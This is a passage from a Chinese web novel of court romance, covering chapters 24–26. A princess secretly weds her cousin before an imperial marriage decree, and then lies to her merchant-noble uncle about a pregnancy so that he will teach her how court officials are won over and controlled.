“也只有你能这么跟我说话了……” 昭明帝李释宁是从最底层走上来的人,越到高处能跟他谈心的人越少,不是死了就是离心了,到最后也只有他曾经的部下王福依旧陪伴左右。 福荣便是王福,他在战场上受了伤失去了人道能力,又逢昭明帝需要在内宫之中培养自己的人手,便咬咬牙、狠狠心,用这无用的脐下三寸换了全家的富贵荣华。 昭明帝自己心里清楚,他受过多次内伤却没死,虽是幸事,但终究伤了根基,他的内伤不发作还好便能像个正常人一样活着,可哪日不对了,就是药石罔顾。 而他的身子一年更差似一年了,也不知道还能看几个四季轮转。 福荣抱着昭明帝的双脚仔细擦干上面的水渍,也不再说什么:“早日把大公主嫁了也好,陛下见着孙辈,便不每天说丧气话了。” 昭明帝难得露出个真切的笑,却不是期待孙辈:“我这个大女儿可不是软弱的性子,真生出来还不知道是姓孟还是姓杨,闹起来我可就头疼了。” 他说着头疼,可表情完全不是这样,他面上甚至有种隐隐的期待。 福荣有时候也不懂皇帝在想什么,从前几年受了一次重伤之后,他就隐隐觉得有什么东西悄然变化了。其实,十年前刚发迹的陛下不是这样的…… 可福荣对当年的事情却一个字都不敢多问,因为那次陛下受伤十分古怪,没有前因也没有后果,只悄悄过去了。 他垂着眼,只妥帖的照顾昭明帝入睡,像沉默的影子围着他转。 进宫后的日日夜夜,皆是如此。 ** 晨光熹微,阳光透过窗棂在室内铺上一层光亮的薄纱。 灵曲悄悄打开山照的卧室门,从窄小的门缝处眯着眼往内室床榻上看。 屋内与平时一般无二,只是烛泪已干、香炉无烟。 灵曲很清楚那往日只睡着公主的床榻,这会还有一个人在。 她静心听了一会,屋内静悄悄的,一点额外的动静也没有。 灵曲表情复杂,不知道该如何处理这种事情。公主堂而皇之带人情-人在宫内安眠,陛下……陛下是怎么容许这样的事情发生的呢? 饶是再多想法,灵曲也按耐住了,她知道自己的想法不重要。 于是只跟身后的宫女们道:“殿下还未起身。” 见年轻的宫女们都茫然的面面相觑,她直起腰,从门前站起身,又叫她们跟自己出去。 而后平静的提醒她们:“殿下,是从勤政殿回来的。要想活命的,记得管好嘴巴。” “殿下是仁善,可宫内的一切陛下可都看着呢……” 她紧盯着众人的表情,似乎是想这里面找到哪个有背主求荣的迹象。宫女们能混到公主的寝宫来,自然没有蠢笨的。 若说妃嫔之间还有受宠与不受宠的区别,可皇子公主们便是最不受宠的那个,也轮不到宫女太监们逞威风。 况且陛下都没说什么,她们又敢有什么意见? 具都表起忠心:“灵曲姐姐,奴婢们可什么都不知道。” 见着也说没见着,保守不住秘密的宫人可是死得最快的一批。 ** 灵曲他们说话这一会功夫,山照睁开了双眼,她感觉浑身暖洋洋的,是一个前所未有的好觉。 她伸了个懒腰,又翻了个身,手臂摩-擦到不属于自己的肌肤,心里一惊,而后才反应过来,她昨夜是跟表哥肉贴肉的睡了一晚。 昨晚可能是激愤占了上风,她并没觉得有什么,这会冷静下来才知道自己做了多出格的事情。 虽说她也不后悔,但山照还是没办法装作不知道继续睡下去。她从床上坐起来,又蹑手蹑脚的从杨力行脚边爬出去。 却不料脚落在缎面的被子上一滑,竟然踩中了杨力行的腿。 山照惊呼,杨力行闷哼,两人便就这样对上了眼。 山照捂脸,却不慌乱,她只是对这个场景害羞。 一男一女共处一室,男子赤身,女子只着小衣,这样旖旎的一幕,真是想想都觉得脸颊发烫。 杨力行带着初醒的茫然,而后扫到山照的脖颈,那白皙的一抹让他眼神瞬间清明。 连忙抱起被子掩住自己的上身,而后用眼神寻找自己的衣服,却发现自己衣物可怜巴巴的正扔在墙角。 他若是想要去拿自己的衣服,就得这么赤条条的起来,而且还得当着表妹的面! 他虽然没有自己怎么变成现在这样子的记忆,但在昏睡之前,他明明是被带进了皇宫的。 “表妹,这是哪里?你……我,我们为什么会睡、睡在一起?”杨力行甚至开始结巴,如果不是山照的表情太正常,他几乎要以为是自己意识不清醒做了什么坏事。 山照本来也是紧张的,但奇怪的是,看见表哥这样紧张,她反而不紧张了,而是起了些逗弄的坏心思。 “表哥在我的卧室。” 山照从杨力行的脚边往上爬,小衣只能遮住她的胸口肚腹,两只白生生的手臂裸-露在外面,被冬天的寒意激出小疙瘩。 她隔着被子靠进他的怀里,脖颈贴着脖颈。 杨力行想避,却避无可避,只能劝她:“表妹!这样不行……” “可是,我好冷。” 杨力行明知道她在耍无奈,却不愿她受冻,连忙裹了被子给她,自己却灵巧的跳下床去。 山照满脸笑意看着他弯着腰在床脚找衣服,并没有一味紧逼的意思。 只是,她看着杨力行的身体却觉得有点奇怪。 “表哥,你裤子里放了什么……” 杨力行垂眸一看,确实有个异常的凸-起,他霎时从胸膛红到了脖颈,慌张、羞-耻一览无遗。 他自然知道这是什么,男子晨起常有之事,只是叫他怎么张口对表妹一个小女子说这种事情。 他感觉自己比昨夜受着水刑罚还难堪,手足无措,只想面前把衣服挂上身,却摸了一手湿气。 他这会才回忆起,似乎昨晚被打湿了衣服,他纠结了一瞬间,又咬咬牙继续把衣服往身上套。 山照连忙制止:“湿的!你别穿……” 杨力行没听她的,兀自穿衣。急得山照从床上跳了下来,连忙给衣服扔得远远的,那嫌弃的样子像扔什么不洁之物似的。 “待会我叫宫女给你备干净的衣服就是,急什么!” 杨力行躲都不知道往哪躲,他蹲下身抱着手臂遮住了自己的身体:“表妹……我不能这样对着你。” 山照觉得这一幕滑稽极了,笑出声:“表哥,我以前也看过啊,你怎么这么害羞。” “那不一样……”杨力行思绪乱糟糟的,满脑子都是疑惑。但这会山照显然是不会给他好好解释的。 虽然杨力行身强力壮的,但是毕竟昨天受了折腾,而且山照总觉得昨晚表哥睡那么沉是因为皇帝给他用的药还有效果,自然不放心他这样呆站着。 “过来继续睡着吧,表哥,我穿衣去找侍女。” 山照掀被起身,一件一件穿上衣服,杨力行只闭着眼睛不去看。 山照有些生气了:“外面这么冷,表哥你是想冻病吗?”她穿好了衣服,就走到杨力行面前拉扯他,想叫他回床上。 杨力行却无论如何也不肯,还反过头劝诫起山照:“表妹,我们这样不好。你下次可千万不能把我安置在你的卧室了。” 山照想起昨晚的事情就是一阵生气,她为什么要为了不喜欢的婚事守贞? “可是,父皇已经默许我们在一起了。表哥你没有听到吗,他不干涉我们了……” 杨力行回忆起一些只言片语,但不清晰,他昨晚一直感觉意识朦朦胧胧的,甚至不知道自己什么时候失去的意识。 “表妹,若是给你定下亲事了,我们……更不可这样了。”杨力行便是再好的脾气,想到这件事情也不免黯然。 他不觉得自己是白受了这场折磨,若是能叫表妹知道他的真心,也是好的。 他不会后悔喜欢过表妹。 可这不代表,他愿意和她无媒苟合,从前他们有婚约便罢了,如今……如今,表妹要另嫁她人了,他便只好将一切珍藏在心里。 山照真的觉得有点伤心,她为他连名节都不要了,是为了叫他说出:你如今是他人之妇,我们要保持分寸这样的话吗? 虽然话不是原模原样的,可意思不就是这样吗? 山照反问他:“我不喜欢他却要嫁他,从此以后便再也不能跟喜欢的人说话、亲近了吗?” 杨力行不是这个意思,只是山照终究要嫁人的,没有一个男子会接受自己的妻子名节有损,哪怕她是公主! 他正是怕她日后过得不好,才要主动退让的。 “表妹,无论我们能不能成婚,我都不会离开你的,我会一直看着你幸福。可若是你要嫁人,我们这样就是不对的……” “那什么是对的?”山照气疯了,口不择言:“你明明知道我不喜欢他,难不成还真要我做他真正的妻子,同他睡觉吗?” 山照是从婶娘们那里学会的‘睡’这个词,她们曾经捂着嘴讨论过夫妻睡觉这个问题,山照偷听了只言片语,只搞懂了夫妻之间是要睡觉才能要孩子的,但那个睡觉和平常睡觉不一样。 她也不知道什么是那样的睡觉,但是就是忽然福至心灵这么质问了杨力行。 “你还是不是个男人了!”山照激动的凑到他面前,抓起他的双手,往自己脸上蹭:“到时候,那个男人就会这样摸我,他……他还会亲我。” “你都可以接受?” 杨力行…… 他当然是不能接受的,哪个男人能够接受喜欢的人被别人占有呢。可是,他不能为了一时的快乐耽误表妹的终生。 杨力行明白,他现在没有能力去承诺表妹什么,但是他自小的观念就是做事情要负责,所以他不知道该怎么处理这件事情。 他只是觉得,表妹如果能跟一个她喜欢又与她相配的人在一起,就不会有这些困扰了。 “不对不对,表妹,我不是这个意思。”杨力行差点被山照绕进去:“我不想你嫁给你不喜欢的人,但是朝廷有那么多青年才俊,总会有你喜欢的。” 杨力行心里也很难受,他从未跟山照发生过争吵,从前都是顺着她来。可是,他没有想到,明明他是为她的未来考虑,却让她发了好大一通火。 “你在说什么?”山照真是不明白他现在在想什么,明明昨天在皇帝面前他都没有放弃,可是今天怎么就变了想法? “那我之前说要在上京给你找一门婚事你拒绝什么?” “我也能说上京的千金贵女总有一个你喜欢的!你要吗?我马上让舅舅给你找!” 山照是这样说了,但心想杨力行要是敢答应,她就真的再也不理他了。 这呆木头,真是气煞人也! 第24章 第 24 章 一夜春光 “表妹, 你不要说这样的话。” 杨力行听着山照的话觉得不太舒服,他觉得山照完全误解了自己的意图,他不是为了自己要去说这样一番话的。 “我不就是把你的话原模原样的说给你听了吗?”山照是真的生气, 却也不是对他失望,这么多年朝夕相处, 她知道表哥是怎样的人。 或许他不那么优秀、也不算聪慧, 但山照从没怀疑过他的真心, 他没有那种意识。 只是放到如今这个环境下, 他的迟钝真的是让人觉得着急,仿佛一拳打进棉花里。 “你说这样的话, 我也会难过的, 表哥。”山照情绪缓了缓,又去拉他,这才把杨力行牵回床榻。 只是这个过程中,山照发觉他顺从的过分, 疑惑的抬起他低着的头,却见他满脸愧色:“对不起表妹……我真是,我真是,太笨了……” 他喃喃自语,眼圈都红了。 “我配不上你,是我没有能力,不能叫国公爷、陛下高看一眼,才要你跟他们争吵。” “我只是, 想要你好。所以, 哪怕是不能跟你在一起,我也愿意。” 杨力行忍了许久的话终于说出口,对一个有自尊心的人来说, 承认自己的无能和失败是非常艰难的一件事情。 山照摸-摸他的脸,安慰他:“我都知道的。” “可是表哥,父皇不是因为孟少监优秀才赐婚的,他为着什么我也不知道,我只是知道他不高兴无非是因为我没有服从他的命令。并不是因为你不如孟少监。” “况且如果你也同他们一样受名师教导,事事有人为你铺路,我不认为你就比那些膏粱子弟差。” 杨力行懂了,自己一味的退让会让一直维护自己的表妹觉得难过。 他很讨厌这种无能为力的感觉,可是哪怕他发狠学习,在这么短的时间里他想达到别人十几年的水平也是痴人说梦。 “但我可能很长的时间,都不如他们……” “表哥,你记得从前我养的那条狗吗,‘馒头’。”山照蹲在地上,视线和他齐平。 “我记得,是只黑白花色的小狗。” “你记得我为什么要养它吗?” 杨力行虽然不懂山照为何突然聊起这个,但还是很配合的回忆起来。 “你说它可爱。”虽然已经过去很久很久了,他还是记得表妹的很多事情。 “那你觉得它长的可爱吗?” 那是只普通的黑白小狗,既不高壮也不美丽,杨力行是不知道它可爱在哪里的。 他一迟疑,山照就接着补充:“它不是最可爱的狗,甚至样貌在别人看来也并不算可爱。但是不妨碍我觉得它可爱。” “世间有千千万的小狗,可是就是这一条在那天被我遇上了,而我刚好家里有些余粮可以养它。” 山照双手捧着杨力行的脸颊,双眼同他对上视线,非常认真的对他解释:“对我来说,表哥也是这样的。我不在乎你是不是比别人更优秀,只要表哥有努力去做,我就不会失望。” “我也不在乎未来的丈夫是不是最优秀的,我只希望是一个我喜欢的,能让我觉得安心和自在的人。” 她依偎进杨力行的怀里,声音这才露出脆弱:“所以,不要再说什么我值得更好的人的话了。” “表哥,我也很希望下一次这样安慰我的人是你。” 其实总是要跟别人解释自己的所思所想也是很累的,山照觉得有些疲倦,但天下没有十全十美的人。 她不知道其他女子是是怎么想的,但是山照一直都觉得:有钱的郎君,也许就得伏小做低才能花到他的钱。有貌的郎君,外面万紫千红总有诱惑。若是图情,也是有人老珠黄、情移世易的时候,这个世界上没有百分百确定的事情。 她人生最大的意外就是,她从未想过自己是个公主。所以没有什么不可能,也没有什么不可以,若真的结局不好,她想,曾经拥有,便胜过万千。 更何况,表哥这样的人再坏也坏不到哪里去的。 杨力行更愧疚了,他觉得自己辜负了山照的期待。 “对不起,表妹。” 他不知道自己还能说什么。 “我不想把你让出去的,我想过好多次跟你成婚的样子。” 他很想说他为了备婚所做的一切,很想说去上京这一路上他所受的冷眼和委屈,可是最终的最终,他还是更在意:“表妹,我怕你后悔。” 回应他的是一个轻轻的吻,山照闭着眼贴上来,用如此清晰明了的动作表明她的态度。 她选中了他,就是这么简单。 杨力行楞了楞神,脑子里面闪过许多想法。 但最终还是坚定起来。如果表妹都不害怕的话,他也不应该继续犹犹豫豫的让她伤心了。 他回吻她,在心中虔诚的许愿:愿表妹希望的都能实现。 ** 九月初八,宜嫁娶。 传旨太监福清是御前几个大太监之一,他早早的便出了宫,乘坐着马车一路到了丞相府。 丞相孟衡之正在门前恭迎,福清知道他不是恭迎自己,而是等待着这封圣旨。 “内官人辛苦。”孟衡之一拱手,便将人迎进府中。 福清双手捧着圣旨,大摇大摆的到了丞相府的正堂。 孟夫人甚至不知道究竟是什么事情,她早晨才被孟衡之通知穿上诰命的衣裳,领着庶女们装扮好等着。 她有些不满,可丈夫一向强势,又说是宫内来人不可失礼,只把这茬先放到脑后,急急忙忙准备起来。 福清朝孟衡之点点头,又清清嗓子。 便在众人跪迎之中,缓缓念出了圣旨内容。 “诏:泰和公主,众公主之长,贵典之重。正值及笄,妙龄之年。上闻丞相府孟氏羽光,钟灵毓秀,德才兼备,正合公主下嫁,两人良缘天定,命择吉日备典。” 孟衡之跪行一二步,扣首接下了圣旨。 福清这才露出个喜样子,圆脸上挤出一个无数褶子的笑容,连声恭喜:“丞相大喜,孟少监这下可要做陛下的东床了。” 丞相站起身,给管事们使了个眼色,待给大小太监们送完荷包后,才开口:“圣恩浩荡,能尚公主是犬子毕生之福!” 福清得了礼,自然欢喜。什么吉祥话儿都如吐珠一般说了。 临到走时,福清忽然想起一件事情,想着孟家也许日后还能更上一层楼,便卖了个好:“泰和是大公主的封号,但泰和公主府可还没有修缮好呢。” 孟衡之听懂了弦外之音,又送上一个装满银锭的荷包,送走了这一行内官。 才回到府中,便有侍女来请:“老爷,夫人请您去呢。” 孟衡之一想到发妻早上那不情不愿的表情就知道这会是来找他茬的,本不想应。 若是往常也是冷淡放上一段时间,便相安无事了。 只是这赐婚归赐婚,婚事一应事宜,总不能擎等着司礼监来办,还需要夫人操持,便狠一狠心,跟着侍女去了。 果不其然,进门连人脸都没看清,便是一声女子嚎哭袭来。 “这样大的事情你都不跟我通气……” “我瓷哥儿那般人物,做什么要去尚公主!自有好女孩嫁的!” 慈哥儿是孟浴恩的乳名,他出生便粉白可人,孟夫人珍之爱之,把他看做瓷器宝贝一般,精心呵护着。 孟夫人因着有个强势的丈夫,又有个硬茬的儿子,平日里最是好脾气不过。 只是泥人也有三分脾气,她只有这么一个孩子,又生得格外不凡,却叫丈夫一人便把婚事定了,如何不气! “大公主是陛下的嫡长女,原配德贞皇后所生,地位超然。你有什么不满意的?” 孟夫人听闻此言更是捂面而泣,哽咽道:“打量我不知道呢,大公主明珠还朝的事情早已经传遍大江南北了。我怎么会不知道,她是个民间长大的公主,识得几个字都不知道!” “我儿若不是遇着改朝换代,也该是那状元的人才、宰相的种子,你就这样生生毁了他。” 不怪孟夫人如此悲愤,前朝驸马历来是不担实职,只尊贵荣养的。 官宦子弟从无有能之人愿做驸马。 便是改朝换代,谁知道驸马又是怎么一个章程呢。 况且皇家的女婿,说是女婿跟赘进皇家也差不多的。 有些善妒的公主,甚至是不许驸马纳妾的。 “你一个妇道人家,又不懂事,瞎操心什么。瓷哥儿的前程我难道不在意?我也只有这么一个儿子!” 孟衡之心中再多想法也不愿意对孟夫人坦言,她一个妇道人家懂什么?别耽误了大事。 孟夫人心里更气,分明是丈夫一意孤行,却反过头来叱责她。 她心里越想越气不过,连声呼喊贴身丫鬟:“墨儿,去把瓷哥儿叫回来。我要问问他,他心里到底有没有我这个母亲。” 孟衡之头疼:“他当差呢,你叫回来干什么?” “你不跟我说便罢了,反正你从来也是这样不把我放在眼中,好像我是天底下最蠢笨的妇人。可是你指定跟瓷哥儿通过气,他却也从未对我提过,他是我肚里掉下来的肉,千不该万不该这么我!” 孟夫人想的很简单,她是一介妇人不能对丈夫如何要求,可是儿子本当该孝顺她的。 “墨儿,墨儿,你快去。无论说什么都好,立刻把人叫回来!” 孟衡之见她无理取闹实在是忍无可忍:“曾氏,你听好。如今圣旨已下,再无转圜。你要折腾羽光便由着你去,只是婚事在即,你是当家主母,一应事宜必不能出差错。否则,否则……”他甩袖离去,终究是没有说出否则什么。 孟夫人被这样严厉的一通话说的一愣,还没反应过来,人便已经走了。她这下真切流下泪来,对着自己的乳母李妈妈哭诉:“你瞧瞧,我竟是个老妈子般的人物。要我-操持家务,也不知说句软和的话,若不是生了瓷哥儿,这府里哪里还有我的立足之地。” 李妈妈从未见过老爷发这么大的火,一时间也是惊住。她从那严厉的语气中就能听出老爷对这事情的看重:“夫人,您今日确实也是失态了。圣旨都接了,这会再来闹又有什么作用呢?白惹老爷生气了。” 孟夫人没想到李妈妈竟也觉得自己不对,愈发难过起来:“这么多年我没有功劳也有苦劳,难不成就是为了让他冷冰冰的叫我曾氏吗?” 李妈妈早就过了计较男女之情的年纪了,但孟夫人虽有这么大一个儿子了,但保养得宜,同丈夫还偶有亲近,自然不能不计较的。 “夫人,您光看着尚公主的难处,也不想想好处。这头一条就是,您的孙子出生就是郡王、孙女落地便是郡主,这是何等的尊贵呢!” 李妈妈这句话正好搔到孟夫人的痒处,只继续抽噎了几下,便停住了,只还有些不情愿:“瓷哥儿自小便是那样冷清的性子,到了入学的年纪,我连抱上一抱都不许了。我就期盼着,他早日娶妻,我能有个温顺可人的媳妇陪我打发时间,可是现在……” “我哪里敢叫公主殿下给我晨昏定醒……” 深闺妇人有点寂寞,不是什么大事。在李妈妈看来,孟夫人着实是有些无病呻-吟了。家里两个男人,一个大权在握,一个年少有为,都是尊她敬她的。便是丞相今日发了好大的火,终究不也没说什么难听的吗? 只是她却不能这样直说,便只安慰她:“家里哥儿成家是喜事,夫人这样哭闹要损喜气的。待会少爷回来了,一定会好好与夫人分说的。” 你一言我一语的,孟夫人再是不愿,这事也就这么定了。 ** 另一端。 山照接了赐婚圣旨,面上无悲无喜,只招来灵曲:“去准备吧。” 灵曲从杨力行在公主寝宫住下那日起,就不再多说什么。今日,她也是知道公主要干什么的,可是陛下都默许了,她便也只管做好为奴为婢的本分。 五六个宫女有条不紊的妆扮山照的寝宫,将器具都换成喜庆的,或是瓜瓞绵绵或是喜上梅梢,那床上的帐子都用了品红的纱,余下的红绸子便扎了喜花放在屋内小几上,案上是一对燃烧着的龙凤花烛。 这是结婚喜房的布置。 山照虽寻不到凤冠霞帔,但也着了一身红裳,描了眉画了唇,只坐在那里莞尔一笑,便叫杨力行看呆了。 他走近内室,抱起了山照,便同她滚到了帐子里。 耳鬓厮磨、娇-喘微微,一-夜春-光—— 作者有话说:统一回复一下,女主和男二分开的时候男二并没有出轨,但作者不保证男二日后也要守贞。作者只保证在一起的时候只有彼此,不包售后。 第25章 第 25 章 求知若渴 冬去春来, 距离山照与孟浴恩的婚事便只有两月余了。 山照又收到了孟浴恩的信件。 他不是爱闲聊的性子,开头便是问安,而后说起正事:“公主府内已修缮大半, 臣欲移栽些花草树木造景,不知殿下可有偏爱的种类?” 灵曲在一旁研墨, 以备山照回信用:“殿下, 孟少监对公主府的差事十分用心呢。” 她还是觉得公主跟杨公子在一起风险太大了, 总是寻着机会给孟少监说好话。 若是公主能看上驸马, 和和美美过日子就最好不过了。 山照点头认可,心情却不免有些复杂。 她虽然埋怨过孟家自作多情求了婚事, 但孟浴恩毕竟还没做过什么对不起她的事情, 而她已经做了对不起他的事。 但她也不觉得是她的错,如果孟家提前问过她的意思,她便会直接告知他们她已经心有所属,婚事不妥当。 可他们并没有问过, 也就不能责怪她不说。 只是到底对他心里有些愧疚,况且他修缮自己的府邸着实是用了些心力,山照便也不好不回信,只是回的简单些。 回了“都可,并无偏爱”,山照便叫灵曲将信件送出去。 恰好杨力行晨练回来,他看着灵曲拿着书信远去,知道这段时间表妹都在和孟家那个通书信, 心里五味杂陈。 他样样占了先, 却失了名分,心中到底有些介意。 但赐婚那夜檀溪轩的花烛燃了整夜,他知道了表妹的真心与决意, 便再无立场纠结名分的问题。 灵曲余光瞄见了杨力行,又折返回来,轻声提醒:“杨公子别忘了汤药。” 杨力行回道:“方才回来的时候已经喝了。” “那便好。” 到底是件尴尬的私事,两人说完之后没有寒暄便各做各的去了。 杨力行洗漱后换了衣裳,这才到书房寻山照。 她现在每日捧着书本,也不知在看什么,杨力行也不打扰她,只坐在一旁寻了些兵书秘籍来看,权当陪伴她。 “待会我要出宫去寻舅舅,表哥想出去走走么?” 杨力行摇头。 他现在还是处于见不得人的状态,不想给山照增加麻烦。 “你在宫里又出不得殿门,别憋闷坏了。” 山照也是心疼他,这么几个月了表哥跟个闺阁小姐一般,大门不出,二门不迈,生怕哪里漏了风声。 昭明帝确实默认了杨力行的存在,许多事情也是皇帝在帮忙遮掩,但也不意味着山照能够大摇大摆带他出门。 山照总有一种感觉,表哥好像昭明帝在宫里给她养的宠物或者别的什么,只要安抚着自己不要继续闹就行了。 她思考了很久,关于她能做什么,但一直没有思路。书里虽然有女将军、女官员的故事,但山照的能力远远没有她们强。 所以她也打算借着出门的机会问问舅舅,她要怎么做,才能拥有一些话语权呢? “你去吧表妹。” 杨力行是很自觉的,他知道自己能留在山照身边殊为不易。所以灵曲暗地找他,说皇帝赐了避子汤药给他的时候,他没有告诉山照,自己便同意了。 连这样的事情他都忍了,何况出不出门这样的小事。 山照也没多想,她只是觉得等出嫁到了公主府之后,表哥就不会这么束手束脚的了。 ** 承恩公叫山照出来,是为了讨论嫁妆的事情。 原本司礼监定了个规格,说是一百零八抬的嫁妆。赵仪闹着要给山照填妆,本也是正常理解,但是他一口气要添八十八抬,这就直接被皇帝驳回了。 一则超规格了,二则是承恩公实在是给的太多了。 赵仪专门进宫跟昭明帝商量,于是便各让了一步,嫁妆还是一百零八抬,承恩公出十八抬,剩下的九十抬的物品也给泰和公主升个档次。 只是这只出十八抬难住了赵仪,他什么都想塞点,一塞就超了。 于是也懒得自己寻思,干脆把山照叫过来,让她自己选得了。 山照知道事情的来龙去脉之后,很是乐了一会。 不过她随后就有了个不大不小的疑惑:舅舅竟然如此有钱吗?竟然随手一拿就能堪比宫中内库。 没过多久,山照就进了承恩公府的后宅,婢女们捧着好大几摞库房册子给她挑选,金银珠宝、绫罗绸缎简直琳琅满目,看得人眼都花了。 “舅舅,你竟然这么有钱吗?”山照怎么记得灵曲曾经说过,舅舅从前是有许多钱,但是建国的时候早就捐了大半。 赵仪喝了一口茶:“这话说的,我们赵家就是行商贾事发家的,怎么可能没钱?” “但是我听别人说,舅舅将家财捐了大半?” “捐是捐了。但是千金散尽还复来嘛,还能继续赚的。我顶着国公的名头,做点生意不是很正常?”赵仪不想细说他的生意经,另起了个话题。 “那个杨什么的,你真准备就这么养着?” 山照虽没跟舅舅说过这事,但也不意外他知道,说不定就是父皇给他说的。 “我也想给表哥找个事情做的,可是……我怕他不在我身边就会有危险。” 其实那日从勤政殿回来之后,山照就后知后觉的回过味,昭明帝是随时可以杀了表哥的,若高明些直接伪装成意外,她哭都找不到地方哭。 山照能想到的事情,昭明帝指定也知道,只是不知道为何他没有那么做。 “男人跟女人不一样,不能一直关在家里面。我看,你还是把他放出来我再调-教一下,寻个差事。” 见山照沉思,他补充了一句:“真要有危险他在你身边一样会有的,而且皇帝既然一开始没干什么,后面也不会干了。” 赵仪说的很笃定。 山照回想起曾经在上京路上赵仪说过的话,知道赵家是最开始就跟着昭明帝起事的。 赵仪应该是很了解皇帝的。 “舅舅,你说父皇在想什么呢?他若是非要我嫁,其实我还稍微理解一点他的强权。他若是同意我跟表哥,那我谢谢他的成全。可是,他现在这般不上不下的……我着实不好评价。” 昭明帝的所作所为实在太矛盾了,矛盾到山照都觉得奇怪。 虽然他现在是默认了,但山照觉得他随时会翻脸。 这让她迫切的想要获得更多的信息,或者力量,来对抗可能的翻脸。 而赵仪,就是她能想到最靠谱的依靠了。 “他有毛病的,你不要管他。”赵仪眉头一皱,不想多言,但山照眼神期盼,他终是多说了一句:“他看在赵家的功劳上,也不会对你怎么样的。你只要安安心心关起门来过日子就好。” 安安心心关起门过日子就好。 山照默念了一遍这句话,细细咀嚼这里面的意思,越品越难受,这话是把她排除在能做什么的范畴外了。 事情是她做的,她怎么能置身事外呢? 而且她很清楚逼婚只是第一步,虽然现在昭明帝没有说非要她接纳驸马,但孟家一定会有意见的。日后会不会逼她接受孟少监,这也是说不准的事情。 “可是舅舅,若我说,我确实不想嫁人呢?我……我已经跟表哥……” 山照没有办法了,婚期越来越近,早晚纸包不住火要露陷的。 赵仪这还能听不懂吗,直接站起来了,紧盯了山照一秒。而后又自己转了两圈,平复了下心情。 一皱眉,还是忍不住指责山照:“你怎么做事这么莽撞……” 山照事情都做了,也只能低头认了。 “算了,也没事。孟家不会瞎嚷嚷的。” 她没有得到想要的回答,觉得是事情还不够严重,赵仪不重视。 于是急中生智,在赵仪面前反复摸了下小腹:“舅舅,要是怀孕了怎么办呢?” 摸小腹这个动作指向性太强了,赵仪心尖一跳,声音高到几乎要破音:“你怀孕了?” “李释宁这个傻子在干嘛,眼皮子底下还能被你们搞出事儿……”赵仪一句话还没有说完,自己先反应过来:“不对,不对。他没有那么傻……” “你到底怀孕没有?”赵仪双眼睁大,看着山照的眼神带着审视。 山照心有些慌,但舅舅不愿意她插手这些事情的态度太明显。她心里默默对他道歉,硬着头皮编了句谎言:“感觉是,但……我也不敢找御医看。” 赵仪…… 他觉得山照不会拿这事情骗他,小骂了几句昭明帝之后,又盯着山照,眼睛里冒出火。他用手指点了点山照,深呼吸了几次想说什么,也许不是什么好听话,他忍了又忍,终究是叹了口气:“这孩子不能要。” “你都没有成婚,这孩子想塞给孟家认了都不行。再过两月你都该显怀了,瞒不住人的。” “舅舅不是没有孩子吗?怎么会知道三个月该显怀了。”山照知道这事还是养母怀弟弟的时候。 赵仪看她一眼:“那会你还在姐姐肚子里呢,我怎么会不知道。” 山照…… 她低头,又掩饰性的摸了下小腹。她暗自心想:好像更对不起舅舅了…… “你真是专门给我找事做的,怎么能干出这么蠢的事情啊!” 山照眨巴着双眼:“舅舅,这下怎么办啊。”端得是无辜可怜。 赵仪真没招了:“还能怎么办,找个医师一碗药下去。再打点一下太医,别请平安脉的时候出差错了。” “舅舅你还认识太医院的人啊,可靠吗?说出去,我就完了……” “放心吧,只要拿捏住七寸,就没有乱说话的人。”赵仪觉得山照不安也很正常,还反问她:“现在知道怕了?真是胆大包天,哎。” “舅舅,你能不能跟我说仔细一点,我好害怕。” 说仔细点,山照才能听得懂这里面的门道。不会拿捏人,她就现在开始学。 反正她是公主,别人不能犯的错,她能多犯两个。别人能犯的错,她就更不害怕了。 学吧。 山照看着赵仪的眼神,简直求知若渴—— 作者有话说:对正常看文的读者表示道歉,因为确实没有忍住脾气喷了一些极端读者。以后这种负面评论我就不回了,估计半个月内我也不太会看评论区。如果作者或者本文有任何让你们不舒服的地方,请点×,我支持读者看文自由。 当然,我也会坚持自己的创作思路。 第26章 第 26 章 人生如棋 “额……”赵仪看着山照却顿住了, 拿捏人说来不过两个词“威逼”、“利诱”,只不过如何进行就是一门大学问了。 赵仪本来也没觉得有什么不可以说,但他还是觉得在侄女面前说这个会不会破坏掉他的形象, 他不想山照觉得他是一个满肚子坏水的小人。 于是他快速回忆,在心里搜罗了个还算正常的例子。 “其实我跟御史黄中平的关系还不错, 必要的时候他会替我弹劾群臣。黄中平的性格刚直, 很不易收买, 但前些时候他的母亲病重, 他又是个孝子,我料他不会收钱, 所以从库房里面取了颗百年老参。” “然后黄御史就收了?” “不, 他觉得太贵重了就没收。清流,是最爱惜羽毛的一群人。” 山照微微偏头,露出些疑惑。 赵仪接着讲下去:“那会他母亲已经回天乏术了,只是弥留之际。我就讲, 含几片或许还能让令尊有力气说未尽之言。这老山参用了几片,到时候还我折价的银子便行。” 山照已经懂了赵仪的做法:“便是还了银子,让他母亲能够说一句遗言,这样的恩情也一时撇不开的。” “对。”赵仪补充道:“能直接用钱财收买的人,忠心也很一般。不过这样不会轻易动摇之人,一旦建立起信任,就会非常牢固,值得多花心思。” 山照注意到赵仪其实有点偏题, 因为他们本来在谈论太医院的事情, 怎么突然扯到御史身上了。 “所以,太医院又是怎么回事呢?”山照把话题拉回来。 赵仪沉默了一下,含糊说:“也是差不多的道理。” 山照于是又摸了一下肚子, 赵仪的眼神便被吸引到这来。其实他心里是很可惜这个孩子的,来得太早了,如果能再晚上两个月,他不知会多么欢喜这孩子的到来。 一个新的,和他血脉相连的孩子。 他移开视线,不忍再看山照的肚子。 “舅舅,你不说清楚,我始终害怕……” “你要知道,有些拿捏人的手段是不太好的。”赵仪给自己的行为先做了个解释:“并不是说故意手段恶劣,而是许多人其实不吃施恩这一套。打个巴掌再给个甜枣才是最常见的事情。” 山照轻轻点头:“我知道的。一味的只宠溺孩子,孩子不会懂得感恩。一味的只打骂孩子,孩子不会亲近父母。父母子女这样天生亲近的关系,尚且要注意方法,何况是两个不相干的人呢?” 赵仪没想到还能从山照嘴里听到这样的话,觉得还有些道理,欣慰点头:“终究是在外头长大的,没有闺阁小姐那般天真。这样的话,我也就不怕吓着你了。” “太医院是专门给宫内人员看病治病的机构。”因着山照在宫里会遇见这些人,赵仪就特地讲的细了点:“所以人数众多,而且也有官职高低、人员分工。一般的来说负责给皇嗣们请平安脉的就是御医,其上还有院使、院判。” “我认识其中三四个,也能通过这些人跟其他御医搭上脉。” 山照没想到赵仪认识的人还挺多,但是她觉得有点怪怪的:“舅舅,你生病也不是御医来治,怎么认识这么多人啊?” 赵仪怕山照想歪:“因为我手上的商路多,太医们有时候缺了药也要到民间采买,一来二去的就请托到我的手上了。他们巴结我也是常有的事。” 